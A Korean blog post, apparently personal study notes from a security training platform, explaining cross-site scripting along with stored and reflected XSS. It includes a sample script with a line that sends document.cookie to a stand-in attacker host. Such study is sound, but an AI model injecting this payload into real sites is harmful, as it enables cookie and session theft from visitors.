본문 바로가기

웹해킹

Cross-Site-Scripting (XSS)

xss는 클라이언트 사이드 취약점 중 하나이다.

웹에 악성 스크립트 삽입해서 이용자가 이 악성 스크립트가 포함된 사이트를 방문하면

쿠키, 세션을 탈취하는 등의 공격이 이루어질 수 있다.

 

xss 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다.

이런 식으로 title과 content를 받아서 표시해주는 코드가 있을 때

이런 식으로 script 태그를 삽입해 원하는 동작을 수행하게 만들 수도 있다.

script 태그 안의 자바스크립트를 이용해서 웹 페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경하는 등의 행위를 할 수 있다.

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

이 코드는 쿠키 및 세션을 탈취할 수 있는 공격 코드이다.

 

<Stored XSS>

Stored XSS는 파일 형태로 저장된 악성 스크립트를 조회할 때 발생한다. 게시물이나 댓글에 악성 스크립트를 포함해서 업로드하면, 이용자들이 이를 보면서 악성 스크립트가 실행되어 공격이 진행된다.

이런식으로 게시글을 쓰는 페이지에서 script 태그로 작성을 하고

게시글을 클릭하면 작성한 스크립트의 내용이 실행되는 것을 확인할 수 있다.

 

<Reflected XSS>

Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다.

예를 들어, 게시물을 검색하는 검색창에 스크립트를 넣어서 검색하는 방법이 있다.

이렇게 검색어를 그대로 html 태그에 사용하는 경웨 script 태그를 삽입해서 공격할 수 있다.

'웹해킹' 카테고리의 다른 글

드림핵 xss-2 롸업  (0) 2023.11.03
드림핵 xss-1 롸업  (0) 2023.11.03
드림핵 session-basic 롸업  (0) 2023.11.03
드림핵 cookie 롸업  (0) 2023.11.03
드림핵 devtools-sources 롸업  (0) 2023.11.03